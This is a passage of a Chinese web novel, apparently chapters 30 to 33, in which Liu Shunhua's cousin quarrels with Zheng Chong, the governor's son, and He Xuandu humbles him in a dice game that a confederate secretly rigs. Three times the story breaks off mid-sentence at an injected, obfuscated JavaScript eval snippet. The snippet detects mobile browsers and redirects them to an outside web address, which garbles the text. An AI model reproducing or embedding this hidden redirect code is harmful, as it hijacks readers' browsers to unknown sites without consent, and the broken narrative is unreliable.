围观的看客都躲在一旁,无一人敢上前去。 贺玄度一副看热闹的表情,对着柳舜华道:“这个姑娘,当真厉害。” 柳舜华看了他一眼,“她是我表妹,平日虽不拘小节,但也不至于如此。今日发这么大的火,定是受了什么委屈,气极了。” 贺玄度语气一转,嬉笑道:“原来是你表妹,真是女中豪杰。” “你知不知道她骂的是谁?如今的凉州刺史郑列的儿子,郑充。” 刺史家的公子,难怪店内出了这样的事,也不见店主出来周旋。 柳舜华瞧他衣衫半解,一脸豪横,毫无顾忌,便知不是个好相与的主。大约是怕得罪了他,家里要跟着遭殃,两个表兄这才拼命拦着莹表妹。 她这个表妹的脾气,天不怕地不怕,做事全由心。 柳舜华也忙走过去拉住表妹,“莹儿,有什么事,咱们慢慢说,先把东西放下好不好?” 陈莹自小便听柳舜华的话,一见是她,这才不情不愿地放下酒坛。 两兄弟手忙脚乱地拉着陈莹,也来不及细问柳舜华,只冲着她点了点头。 郑充正一脸不屑,一眼一瞥瞧见陈莹身边的柳舜华,一张脸娇嫩得似春日的桃花,目光流转间,天然一段动人风姿,顿觉浑身酥软。 大表哥低声劝道:“莹儿,为了大姐,你忍忍。” 陈莹听他提到大姐,怒气不消反涨,“就是为了大姐才不能忍,大庭广众之下,他公然携歌姬寻欢,将大姐置于何地?” 柳舜华总算听有些明白了,这个郑充便是她表姐夫。 二表哥跟着说道:“莹儿听话,就算你打了他一顿,又有什么用?这里人多,闹起来只会让大家难堪。” 陈莹好容易被劝住,气冲冲地坐下。 郑充身边的歌姬腻在他身上,毫不在意地缠着他的手臂。 她知晓,郑充对陈家根本就是有恃无恐。 “公子,这些人方才骂奴家不知羞耻,您就打算这么放过了?” 郑充不为所动,一双眼只盯着柳舜华看。 歌姬眼波一转,方才受了陈莹的羞辱,她有心也想让他们难堪。 于是攀上他的肩头,贴耳吹了一口气,“公子若是看上了这姑娘,我替你问问可好?” 郑充转头,一只手滑过歌姬白嫩的脸庞,“要不说我喜欢你呢,馆里这么多姑娘,就你最体贴。” 歌姬起身,腰肢轻摆,妖妖娆娆地走到柳舜华身边,“这位妹妹,不知如何称呼?” 几人方坐下,陈莹气还未顺,就见歌姬过来挑衅,且语言举止轻浮不堪,又见郑充一脸色相,瞬间反应过来。 陈莹登时大怒,猛地起身,一巴掌甩在那歌姬脸上,端起面前的酒杯泼了她一脸。 “哪里来的野鸭子,敢在这里嘎嘎乱叫。我表姐名讳,也是你配知道的。马上给我滚回去,不然我拧掉你的头。” 那歌姬知晓陈家大姑娘一向温柔软弱,只当二小姐是个雷声大雨点小的,才敢过来挑衅,不承想她竟真的下狠手。 她捂住红肿的脸,一头栽在郑充怀里,哭得梨花带雨。 “公子,奴没脸见人了。他们完全不将公子放在眼里,竟当着公子的面动手。” 郑充一再被驳了面子,霍然起身,对着陈莹骂道:“死丫头,别给脸不要脸。若不是我祖父,就凭你们区区养马的,你姐姐能入得了我们郑家。那个黄脸婆木讷蠢笨,给我提鞋都不配。你们这一家子的莽夫,还想做我们郑家的亲戚。” 此话一出,不但陈莹,就连陈家两个兄弟都忍不住了。 老大冲上前去,“郑充,我敬你是我姐夫,一再拦着,你却这般羞辱我们陈家,当真以为我们陈家怕你不成?” 老二也上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14833147|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去理论,“你是刺史公子又如何,你不敬长辈,不恭亲友,就算告到衙门,也有我们的理。” 郑充冷冷地瞥了他们一眼,手一挥,一旁的五六个随从便站了出来,挡在前面。 那些随从个个身形高大魁梧,若真动起手来,自家兄弟肯定讨不到好处。 柳舜华有心想上前去劝解,但见表兄们一个个剑拔弩张,根本劝不住。 她想了一下,转头对郑充施礼,“表姐夫,你今日饮了些酒,便如此大动干戈,待酒醒之后,要如何面对郑刺史,又要如何面对表姐?” “我听闻郑刺史一向治家甚严,若是让他知晓表姐夫醉酒惹事,只怕会不快。还有表姐怎么也是刺史府的少夫人,她的脸面,便是郑家的脸面。您今日这番醉话,不是羞辱表姐,是在羞辱您郑府。” 方才他不经意透露,他本不愿娶表姐,只是迫于祖父的缘由。柳舜华便知,他同她见过的那些纨绔一样,虽在外胡混,却最怕家中的老子,所以才特意拿郑刺史来压他。又怕言语中有些威胁意味,反倒激得他恼羞成怒,将事情闹大,便以他醉酒为托,给足了他脸面。 郑充一愣,细一思索,她讲得的确有几分道理。 听她语气轻柔,言笑晏晏,心内又忍不住痒痒,一双贼眼肆无忌惮地打量着她。 “原来你便是陈茵那个长安的表妹,我就说嘛,凉州怎有如此水灵的人。”他嘴角一勾,笑道:“也罢,今日看在你的面子上,我就不追究了。” 柳舜华缓缓躬身,“多谢表姐夫。” 说罢,便上前去拉大表哥,提醒他不可冲动行事,一切回家再说。 “等等,表妹,我说了,是看在你的面子上不再追究。我给足了你面子,你是不是也要给我些面子?”郑充笑中充满戏谑。 柳舜华略一思忖,微仰起头,“表姐夫想要什么面子?” 郑充抬手倒了一杯酒,往前一推,“表妹赏脸喝点酒,咱们一笑泯恩仇。” 陈莹一下跳了出来,怒道:“姓郑的,你别太过分,看我不打……” 柳舜华将她拦下,冲着她摇摇头,“凉州的葡萄酒是珍品,一杯酒而已。” 她走上前,端起面前的酒杯,一饮而尽,而后将杯子倒扣过来。 “表姐夫,够了吗?” 郑充拍手道:“好好好,表妹是个爽快人。” 话锋又一转,“不过,我说请你喝酒,可没说只喝一杯。” 柳舜华心内冷笑,看来这个郑充,果然是从一开始便打定了主意,不肯罢休。 陈莹再也忍不了,一把拉开柳舜华,眼见着就要冲出去动手。 “喝酒太无聊,听闻郑公子擅赌,不如我们赌上几局如何?” 贺玄度扒开看热闹的人群,笑着对上郑充。 郑充抬眼瞥了下贺玄度,瞧着打扮倒是挺普通,不过这张小白脸,让他很不喜欢。 “你谁啊,本公子为什么要跟你赌?” 贺玄度笑得谦和有礼,指着柳舜华道:“我是这位柳小姐的……随从。” 柳舜华转头,看了他一眼,不觉低头一笑。 堂堂相府公子,竟然装她的下人,亏他想得出来。 陈家众人看着突然冒出来的贺玄度,有些懵。他们记得柳舜华来时,好像只带了个车夫,并未见有随从。 郑充哼了一声,“一个随从,哪里有你说话的份?” 柳舜华冷声道:“他的意思就是我的意思。” 郑充闻言,眉头一挑,“好啊,本公子正愁无趣。既然你要赌,那我就同你赌。不过我丑话说在前头,若是赌输了,我要你的随从跪下给我垫脚。还要……你陪着本公子,喝光这桌上所有的酒。” 他不怀好意地盯着柳舜华,“你确定,你要赌?” 31. 第 31 章 郑充打定主意不放过他们,即便不与他赌,他也未必会善罢甘休。 柳舜华望向贺玄度,想从他那里得到答案。 她虽与贺玄度相处时日不多,对他却也有些了解,他此刻提出对赌,应是有了对策。 贺玄度对她点了点头,目光中多了份沉稳与肯定。 这样的眼神,可靠又温柔,像极了上辈子那个熟悉的贺玄度。 这一瞬,她几乎可以肯定,贺玄度一定不会输。 她转身对上郑充,笃定道:“好,我同你赌。但若是你输了,我要你向我们陈家道歉。” 郑充张狂一笑,“你,输定了。” 他身子向前倾了倾,睨向贺玄度,“你说,赌什么?” 贺玄度随意坐了下来,伸手一摊,“郑公子身份尊贵,您定,我都可以。” 郑充狂笑,身边的随从也都跟着笑了起来。郑充常年混迹赌场,赌技更是一绝。 柳小姐这个家仆可真够狂妄的,竟然敢让他来定。 郑充冷笑一声,“我堂堂刺史府公子,需要你让。公子我也不欺负你,就按寻常赌法,猜骰子,五局定胜负。” 一旁站着的陈莹嗤笑,“嘴上说着不需要让,还不是选了自己最擅长的。” 贺玄度却毫不在意,“随你。” 很快,有人便将骰子拿了上来。 郑充将骰子扔给贺玄度,示意他检查有无问题。 贺玄度随意用手一捏,又掷了回去,“骰子没问题,可难保其他没问题。这些都是你的人,若是他们摇骰子,我不放心。” 郑充不耐道:“那你说如何?” 贺玄度抬眼看了一圈,随手指向楼梯上一个看热闹的舞姬,“就她吧。” 郑充是这里的常客,一眼认出那名舞姬不过就是给胡姬古赞丽伴舞的。 “可惜今日古赞丽不在,这个就勉强吧。” 醉月居内,客人喝得兴致上来,玩个骰子,再寻常不过。不过,往常给贵客们摇骰子助兴的,都是胡姬古赞丽。 那名舞姬见郑充点头,也不扭捏,款步走至桌前,举起骰盅摇起来。她到底是新手,摇得力度并不是很大,骰子在里面晃动不甚明显。 郑充嘴角藏不住笑意,他混迹赌场多年,结识不少能人,有几分听声辨骰的功夫。若是摇骰熟手,像是古赞丽那种,又快又猛,他精力的确要分外集中,才能勉强辨得一二。可如今这种,与他而言不过是小打小闹,听起来毫不费力。 “咚”地一声,舞姬落下骰盅。 贺玄度想也没想,抬手便将手中的酒杯推向小。 郑充轻蔑一笑,气定神闲地将酒杯放在大上。 众人屏气凝神,随着一声“开”,骰盅被舞姬缓缓掀开。 四、四、六,大。 郑充一把揽过旁边斜坐的歌姬,在她脸上拧了一把,心情大好,“区区一个随从,还妄想与本公子赌。” 一旁陈家两兄弟面面相觑,脸色瞬间不好看了,开局便输,实在不是好兆头。 陈莹顿觉不妙,用手碰了碰身旁的柳棠华,“这人真是你们随从,他能行吗?” 自郑列被提升为凉州刺史这两年,郑充便彻底卸下伪装,成日里不务正业,流连各大赌场,赌博猜拳这些,自是手到擒来。这人不过是个随从,如何赢得过。 柳棠华也不知贺玄度为何会与姐姐一同进来,还要冒充她们的随从与郑充赌。 实际上,她也急得直跺脚。 姐姐方才一是被气到了,才由着贺玄度去赌。 可愿赌服输,若当真输了,难道真要陪着这个无赖喝酒,任由他羞辱? 她神色焦急地看向柳舜华,不由怔住了。 姐姐面色平静,不见有任何慌张,只是望着贺玄度,平和而温柔。 那种眼神,她说不清。 但她知道,姐姐信他。 她道:“姐姐信他,我也信他。” 第二轮,那舞姬似乎找到了些感觉,开始摇得快了一些。 郑充听起来尚可,他抬眼看了下对面的贺玄度,只见他半闭着眼,似听非听,不知道在想什么。 陈家两兄弟暗自握紧了拳头。 关键性的一局,他可一定要争气才行。 等到骰盅揭开,陈家众人脸上一阵抽搐。 贺玄度,又输了。 郑充连赢两局,分外得意,朝着下人吩咐道:“去把酒给爷备上,有多少算多少,今日定要与表妹不醉不休。” 陈莹气得狠狠剜了他一眼,恨不得将他生吞活剥。又忍不住担忧地看向表姐,不懂她为何这么轻易答应一个随从,以至如今下不了台。 柳棠华也有些急了,她轻轻拉了一下柳舜华的衣袖,不安地望着她。 柳舜华拍拍她的肩膀,示意她放松。 可贺玄度已经连输两局,她如何能放松? 柳舜华只得凑到她耳边,轻声道:“你放心,贺玄度不会害我的,还有三局呢。” 是的,还有三局。 也就是说,接下来三局,贺玄度一定不能输。 嘴上虽这么安慰着,柳舜华依旧不免有些紧张。 郑充选择猜骰子,必定是他擅长的,从方才两场来看,也的确如此。 至于贺玄度…… 她突然记起兄长说过,贺玄度曾在赌坊一夜之间输了五万钱,不由忐忑起来。 如此看来,贺玄度赌技应是一般。既然他并不擅赌,那为何要提出与郑充对赌? 她实在想不出,接下来贺玄度要如何破局。 郑充睨了眼贺玄度,到底是个随从,只会逞口舌之能。接下来,他一定要让他输得一败涂地。 第三局,贺玄度依旧是此前漫不经心的样子,只是稍微敛了神色。 舞姬手中骰盅摇得更快了些,郑充眉头一皱,耳朵动了动,总算是确认了。 他看着对面的贺玄度,仰头道:“怎么,你先还是我先?” 贺玄度神色平静,“郑公子,请。” 郑充稳稳地将酒杯推向小,贺玄度随手一抬,选了大。 舞姬缓缓伸手,揭开骰盅。 郑充一脸自信,挑衅地望向贺玄度。 这场赌局,马上就要结束了。 “啊,啊,啊,赢了,赢了。”陈莹拉着柳棠华激动得尖叫起来。 陈家两兄弟长长松了口气。 贺玄度转头朝柳舜华一笑,示意她放宽心。 郑充 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853916|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低头望向桌面,傻眼了。 二、三、六,大。 明明是一、三、六,他听得真切,怎么可能会错? 他捶打着脑袋,怎么也想不明白。 贺玄度双手一拱,“郑公子,承让。” 郑充脸色铁青,“你不过才赢一局而已,本公子依旧领先。” 舞姬手中的骰盅越摇越顺手,郑充输了一局,不由紧张了起来。他瞥了一眼贺玄度,他闭目皱眉,似乎真的认真了起来。 郑充也不敢放松,忙集中精力,支起耳朵。 这次他听得真切,三、四、四。 骰盅落地,他不慌不忙道:“这次,你先来。” 贺玄度依旧是毫不迟疑,选了小。 郑充冷笑,这次他是真的输定了。 他盯紧着骰盅,看着舞姬细嫩纤细的双手将它揭开。 二、四、四,小。 郑充一下瘫软在椅背上,又错了。 他分明听得真切,为什么每次总是差那么一点点,难道是最近耳朵出了问题? 郑充陷入严重的自我怀疑。 他盯着贺玄度,见他从容依旧,甚至朝他挑眉一笑。 郑充瞬间暴怒,他终于反应过来。 眼前这个人,才是真正的高手。 他像猫捉老鼠一样,故意输了两局,就是为了戏弄他。 贺玄度抬了抬手,示意舞姬开最后一局。 郑充尤擅赌钱,凉州城的赌坊,背后大都是他在暗中操控。他混迹赌场多年,几无败绩,如今却被一个随从肆意戏弄。 他眼底充血,恶狠狠地盯着贺玄度。 贺玄度压根没去看他,又下意识回头看了一眼柳舜华。 柳舜华方才还有些紧张慌乱的心,如被春风抚过,一下安静下来。 杂乱的人声纷纷隐退,恍惚中柳舜华又回到了相府的莲池旁。 凉风过后,一池荷香,贺玄度坐在亭内,放下手中的书卷,朝着亭外的她柔和一笑。 郑充气得不轻,如此关头,他竟敢分心,分明是没将他放在眼里。 他稍一分神,再去听时,骰子摇得却是越来越快,只听得一个三、另一个是六。 舞姬将骰盅扣在桌上,等着两人下注。 郑充强行稳住心神,暗自琢磨。眼下这个情形,若要是小,除非另一个是一。 很明显,选大胜的机会更高。 他打定主意,不再同贺玄度周旋,抢先选了大。 贺玄度握住酒杯,低声笑道:“最后一局,定胜负,郑公子不再好好想想。” 郑充嗤然一笑,狠声道:“你别得意,待会你家主子陪着我喝酒的时候,你别忘了跪着给我倒酒。” “我若跪下,怕是你承受不起,”贺玄度选了小,依旧是笑着,“还是劳烦郑公子跪着道歉吧。” 舞姬慢慢揭开骰盅,众人纷纷聚上前去,一动不动地盯着桌面,等待这决定胜负的一刻。 “赢了,赢了……”陈家兄妹高呼,连一向守礼的大表哥都激动得叫出声来。 郑充浑身一僵,怎么偏偏是一,怎么会这么巧…… 贺玄度慢悠悠地倒了一杯酒,缓缓饮下,“郑公子,你输了。” 32. 第 32 章 郑充一向以他的赌技为傲,如今输得如此惨不忍睹,他怎肯服气。 他指着贺玄度吼道:“你耍诈,一定是你在耍诈。” 陈莹冷哼一声,高声道:“郑公子是输不起吗?咱们这么多双眼睛瞧着,哪个看到他耍诈了?” 大表哥:“你说他耍诈,那倒是说说,他如何耍诈,不能空口白牙的诬人。” 二表哥:“骰子是你的,骰盅是醉月居的,至于这位舞姬,瞧着也是醉月居的,而且一看便是摇骰的新手,不知哪里能耍诈?” 郑充被几人问得哑口无言,气急败坏,一把掀翻了面前的桌子。 柳舜华离得近,眼见就要被砸到,贺玄度忙侧身挡了一下,冷不丁被桌上飞溅过来的碎片划伤了手。 柳舜华回过神,忙走过去,顾不得其他,掏出手帕替他包住伤口。 这是她头一回离得这么近看他的手,骨节分明,手掌宽厚,掌心却满是厚厚的茧子。 指尖无意触碰到那些茧子,柳舜华的手微微一顿。 他本是相府养尊处优的公子,这双手本该是细腻的,少时的贺玄度定是受了不少苦。 贺玄度掌心一阵酥麻,垂头望去,却见柳舜华眸光点点,微红了眼眶。 他以为柳舜华被吓坏了,拍着受伤的右手,嬉笑道:“没事的,你不用担心。你看,好好的。” 柳舜华轻叹一声,“你可仔细些吧。” 郑充在旁看着,突然一声嗤笑,朝着众人高声道:“我就说怎么一个小小的随从,哪来的胆量站出来,原来是主仆早已暗通款曲。” 陈莹忍不了,冲出去指着他的鼻子骂道:“你再乱说,我早晚有天撕烂你这张臭嘴。你自己龌龊不堪,便看别人都不干净。你是没长眼吗,没瞧见他的手被你划破了?” 贺玄度摸着被柳舜华包扎好的伤处,声音渐冷,“郑公子,你若是眼瞎,回去自行请人医治去,咱们还是说回赌注的事吧。愿赌服输,怎么,你这是要坏了赌桌上的规矩?” 郑充握紧拳头,他在凉州有诸多赌场,愿赌服输的规矩若打破,那他日后如何服众。 他咬牙道:“你想如何?” 贺玄度面无表情:“赌之前,柳小姐已经说得很清楚了。若是输了,你要向陈家道歉。” 郑充想了良久,他今日输了赌局,若不道歉,陈家众人绝不会罢休。还有这个小白脸随从,一看便是个赌术高手,若他日后在赌桌上胡言乱语,坏他名声,那赌场可就难办了。 为了赌场的事业,终是选择忍下这口气。 他眼一闭,对着陈家众人道:“方才是我口不择言,对不住。” 说罢,他便一脚踢开地上的杂物,对着随从吼道;“都杵在那里做什么,走啊。” “慢着,郑公子这就要走了?”贺玄度慢悠悠地说着。 郑充怒道:“我已经道过歉了,你还要如何?” 贺玄度微微一笑,“看来郑公子平日没有道歉的习惯,所以才这么生疏。道歉,讲究的就是一个心诚。你方才,不算。若郑公子实在不懂,可以不耻下问,我很乐意教教你。” 郑充不可置信地看着贺玄度,怒极反笑,“我倒是想听听,你准备如何教我?” 贺玄笑道:“也简单,适才你说输了要我跪下帮你倒酒,如今却是你输了。不过,我们也不是什么苛刻之人,跪着倒酒这种事,断然做不出来。” 他接着说,“这样,你就扇自己几巴掌,然后跪下道歉得了。” 陈家众人虽然厌恶郑充,对他方才的言行也极为愤怒,可他到底还是他们的大姐夫,而且还是刺史家的公子。 他们只想着争一口气,让他意识到自己方才言语失当。他们都知道,以他的秉性,是不会轻易道歉的,能逼得他道歉也算勉强为陈家挽回了颜面。他们实在没想到,贺玄度竟让他当众下跪扇巴掌。 柳舜华眉头深锁,望向贺玄度的眼神里满是探究。 不知为何,她有一种直觉,贺玄度似乎有意激起郑充与陈家的矛盾。 郑充像是听到了什么笑话,扒开随从,走上前戳着贺玄度的肩膀,“你到底知不知道我是谁?竟敢这么同我说话。” “想拿身份吓人?”贺玄度随手拨开他的手,“那你又知不知道,我是谁?” 他眼神遽变,脸色沉了下来,带着一种不可名状的威压。 郑充怔愣许久,险些被他震住。 “你不就是个随从。柳家虽在长安,可并非什么高门大户。其父不过是个司农丞,其兄虽被提拔,也不过是个无用的官职,你当我不知?” 贺玄度不再同他废话,从腰间掏出一块玉佩,“你可认得此物?” 郑充垂头一看,玉佩之上刻着一只猛虎,右上方还有一个“万”字。 “万都尉,是你什么人?” 贺玄度将玉佩收回,走近几步,“不知你有没有听说过,万都尉他有个侄子。” 郑充脸色突变,万都尉只有一个妹妹,曾嫁于当今贺丞相。 那他岂不就是丞相府的公子。 官场上有句传言:宁可得罪天,不可冒犯鹤。 这个鹤便是贺丞相的贺。 他方才,都做了什么蠢事啊? 他声音止不住有些颤抖,“你是……” 贺玄度一把按下郑充的头,附在他耳边,抬眼看了下柳舜华,沉声道:“对面那个女人,是我的人。我来凉州,就是为了她,听懂了吗?” 郑充不住点头,“懂,懂。” 柳舜华听不清贺玄度说了什么,只是他的眼神,让她莫名有些不自在。 “很好。”贺玄度拍了拍他的肩膀,“跪我的人多了,你也不算亏。跪完道歉,今日之事,一笔勾销。” 围观的看客议论纷纷,郑充抬着头看了一眼四周,心一横,跪了下来。 “各位弟妹,是我醉酒无状,一时说了混账话,请弟妹们谅解。” 他又看向柳舜华,拼命扇了自己几巴掌,“柳表妹,是我有眼不识泰山,我该死。求您大人不记小人过,饶了我这回。” 陈家众人看他竟真的肯下跪道歉,一时觉得畅快,方才压在心头的恶气一扫而空。 柳舜华一见这情形,便知贺玄度亮出了他的身份,不然就凭他几句话,郑充不可能乖乖下跪。 起初,她以为贺玄度不想公开他的身份,才称自己是她的随从。 可如今来看,他似乎并没有隐瞒自己的打算。 那为何,他一开始不直接亮明身份? 还是说,他也看不惯郑充,想当众羞辱他。 几人出了醉月居,陈家两兄弟围上贺玄度道谢。 大表哥道:“舜华,这位公子举止从容,瞧着并不像是随从,不知可否告知姓名?” 见郑充他们已经走远,柳舜华才道:“他是我在长安的朋友,姓贺。” 陈家众人又躬身致谢,“方才多谢贺公子解围。” 陈莹兴奋道:“贺公子,不知方才你说了什么,那厮竟真的下跪道歉。” 贺玄度笑笑,“也没什么,就是好心给他一些忠告罢了。” 陈莹愈加好奇,“忠告?他还真听了?” 二表哥一把拎起陈莹,“你问这么多做什么,还想学着惹事不成?贺公子做事知进退,你学不来。” 陈莹哼了一声,扭过头去。 柳舜华想了一下,对着大表哥道:“表哥,我还有些话想同贺公子讲,劳烦你们先等我一下。” 大表哥会意,带着弟妹们等在一边。 等到众人离开,贺玄度歪头凑过来,得意道:“你是不是很感动,想单独谢我?” 柳舜华看着他的眼睛,点头道:“对,很感动,谢谢你。” 贺玄度没想到她如此认真,倒有些不好意思,尴尬地摸了摸头。 柳舜华思忖良久,抿着唇,“不过,我找你,却是为另一件事。我想,请你再帮帮我。除了你,我想不到还有谁能帮我。” 贺玄度眸光一亮。 她说,她想不到其他人帮忙,却独独想到了他。 他立即挺直了脊背,“说说看,你想让我帮什么。” 柳舜华没有直说,而是道:“我觉得,郑充有问题。” 贺玄度一愣,随即道:“他能有什么问题?方才我已经表明了身份,他不敢再找你麻烦的。” 柳舜华摇头,“不。方才我一直在观察,在你站出来之前,郑充似乎是有意在挑衅,我一直隐忍,就是为了试探他。而他果然步步紧逼,丝毫没有退让的意思。” 贺玄度摸了摸头,“会不会是你想多了,我看那郑充就是个无知狂妄之徒。” 柳舜华握紧了手,说出自己的担忧,“我听表妹说过,大表姐已经小半年未曾归省,就连外祖大寿,舅舅派人去请,都未曾请回来。表妹说,是大表姐嫌弃家中门第低,不愿回来。可今日看郑充这副模样,我担心大表姐出了状况。” 贺玄度见她皱紧眉头,安慰道:“郑充的父亲是凉州刺史,他应该不至于纵容儿子在家中无法无天,控制你表姐的自由。你不要胡思乱想,若是得空,你寻个借口,去郑府一探便知。” 柳舜华点头,想了想,又道:“还有一事,我总觉得有些不对。方才你亮明身份前,郑充不信,张口便说出我父兄的官职,很明显,他对我们柳家之事,了如指掌。” 贺玄度凝眸,“你兄长被提拔不过月余,他竟这么快得知,的确有些不寻常。” 柳舜华本想继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859686|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同他解释,没料到贺玄度竟也想到了这一层。 “兄长升任鸿胪寺丞,此前外祖一家尚不知晓,郑充又是如何得知。除非,他有意调查过我们柳府。” 贺玄度也觉出一丝不寻常,问道:“那你希望我如何帮你?” 柳舜华道:“明日,我想去一趟刺史府,但若是郑充在,我怕是见不到表姐。所以,我想请你想个办法,寻个借口,让他离开。” 贺玄度有些为难,“今日为了替你出气,我们闹成这样,明日只怕是不好办。” 柳舜华一愣,贺玄度真的是为了她。 今生的贺玄度,与记忆中的他,很不一样。 他总是毫无顾忌地表达自己,不遮不掩。 看到她被人刁难,他毫不迟疑地出手。 他帮了她,会一脸得意,当面向她邀功。 而前世那个他,永远站在她身后,即便是帮她,也总是悄无声息。 贺玄度见她不说话,便凑近道:“我只是说此事不好办,又没说不帮,你生什么气?” 柳舜华抬眸,静静地看着他,微微一笑,“我没有生气。” 她本就生得娇美动人,这一笑,更添了几分平和,月色之下,连风都温柔起来。 贺玄度心上莫名一动。 他素日最不喜世家那些温柔端庄的女子,总觉得她们少了一分真性情,就像是一个个任人摆布的木头美人,毫无灵性。 可柳舜华明明也是这样,她说话温声细语,举止有度,不急不躁,他却全然没有半分不屑,反觉她独特。 柳舜华缓声道:“正所谓不打不相识,其实今日这样也好,反而是个机会。你们都擅赌,而且他那样纨绔之人,做事习惯你也熟,或许可以从此处入手。” 犹如一盆凉水泼下,贺玄度脸色陡然一沉,“我怎么听着你说得不像好话呢。什么叫他那样的人,做事习惯我熟?你言外之意,是不是觉得我同他一样擅赌,都是些不成器的?” 柳舜华已经摸清他的脾气,不慌不忙安抚道:“怎么就不算好话了?我与你相识月余,这些时日,从未听过你滥赌成性。可见你只是擅赌,又不是滥赌。擅赌和滥赌,怎么能一样呢。” 贺玄度听罢,早消了气,又问:“那郑充也擅赌,并不曾滥赌,你不是照样觉得他纨绔?” 柳舜华声音柔和:“同样擅赌,他用赌来羞辱人,你却用赌来帮人,这天差地别的,他拿什么跟你比。” 贺玄度嘴角止不住上扬,垂头掩下笑意。 他就知道,在柳舜华心里,他到底是不同的。 不知想到了什么,贺玄度张了张嘴,犹豫片刻,还是道:“在长安时,我其实,也是赌过的,还曾在一夜间输了几万钱。” 柳舜华当然知道,兄长曾讲过。 她道:“你如此擅赌,怎么还会输那么多?” 贺玄度叹了一口气,“因为我缺钱。” “当时父亲管得严,家中钱财又都在那个人手里攥着。我便想了个办法,同赌场老板商议,输个几万钱,事后我们二八分账。” 柳舜华听得瞠目结舌,贺玄度这行径简直闻所未闻,也太独特了点。 贺玄度接着说:“我同你说这些,就是不想你将来从别人嘴里听到,信了那些乱七八糟的说辞。我想让你信我,我是不会滥赌的。” 柳舜华心上蓦地一热。 贺玄度如此坦诚,是怕她有朝一日,会误会他。 他是真的,将她当作了朋友。 柳舜华迎上他的目光,“我是信你的。” 贺玄度长舒一口气,片刻后,又道:“所以,我擅赌之事,还望回长安之后,替我保密,莫要让人知晓。” 柳舜华点头,“这是自然,棠华那里我也会叮嘱她。” 沉默片刻,贺玄度道:“郑充那边,明日我会想办法支开他。只是,你千万要小心。若他们有意为难,你大可搬出丞相府为你撑腰。放心,有我在,凉州城没人能欺负你。” 柳舜华静静听着,鼻尖突然有些酸楚。 贺玄度虽性情大变,对她又似乎总有一些若有若无的防备,却还是会像前世一样护着她。 月色下,两道身影一高一低,却又隐隐交叠在一起。 她垂头看着两人的影子,轻声叫了他的名字,“贺玄度。” 贺玄度低头看着她,“怎么,还有其他事需要我帮忙?” 柳舜华摇摇头,抬眸望向天上的月亮。 “我就是觉得,能遇上你,真好。” 贺玄度先是一怔,随后高扬起头,“那是自然。能碰上我这样俊美无双又至诚至善之人,是你的福气。” 他凑近了一些,盯着她的眼睛,“柳舜华,你可千万要好好珍惜。” 33. 第 33 章 送走柳舜华,贺玄度回到方才与柳舜华才相遇的石桥边,静静地坐着。 月色之下,他举起手,看着被手帕包好的伤处,嘴角不自觉挂着笑。 树影被踏碎,有人从暗处走了过来。 正是方才醉月居中摇骰盅的舞姬。 “公子。” 贺玄度回头,站起身来,笑道:“金芝,你来了。” 金芝转动着手腕,脸色不太好,闷闷地“嗯”了一声。 贺玄度满脸堆笑,讨好道:“今日劳烦金芝姑娘了。” 金芝白了他一眼,“都说了让你学着点,你偏不听,但凡你有点真本事,我都不至于那么心累。你当换那些骰数很容易吗?还有,你还故意输两局,若是我稍有差池,岂不是要前功尽弃?” 贺玄度依旧笑着:“你是谁啊,鬼王白的女儿,我还从未见过你失手。” 金芝道:“你不必奉承,我不吃你这一套。我就问你,说好只引起郑充的注意,你为何非要闹得他下不了台?如今这样,你要如何接近他套取消息?若耽误了万都尉的大事,你教我如何交代?” 贺玄度道:“你别急啊,我们这虽然认识得有些……不太愉快,但好歹也算认识了。俗话说不打不相识,他已经充分见识了我的绝技,我又报了我的身份,再想接近他,也不是什么难事。” 金芝不信,“你就编吧。我是看出来了,你就是故意的。” 说罢,又看了他一眼,意味深长道:“你是为了那个柳小姐吧?” 贺玄度笑而不语,想遮掩过去。 金芝却不放过,“别以为我看不出来,你就是怕郑家倒台以后,连累到陈家,所以才设计两家当场闹翻,让众人都做个见证,来证明郑陈两家不睦已久,以便来日清算时陈家能撇清关系。” 贺玄度没有否认,“真是什么都瞒不过你。” 金芝得意地仰起头,“接下来你打算怎么做,可需要我帮忙?” 贺玄度摇头,“不用,今日过后,我的赌技他不会再怀疑。你告诉舅舅,我会设法从郑充身上入手,查到刺史府与彭城王勾结的证据。” 贺玄度想了想,又道:“对了,还有一件事,郑充的夫人,也就是柳小姐的表姐,你让咱们的人留意一下。” 金芝问:“怎么,她也有问题?” 贺玄度:“不是,是柳小姐怀疑她表姐出了事。这个节骨眼上,未免也太巧了点。总之,你让人留心。” 金芝点头,“还有,都尉让人传话,说祁连山一带的贼匪可能已经潜入了凉州城,让你行动务必小心。” 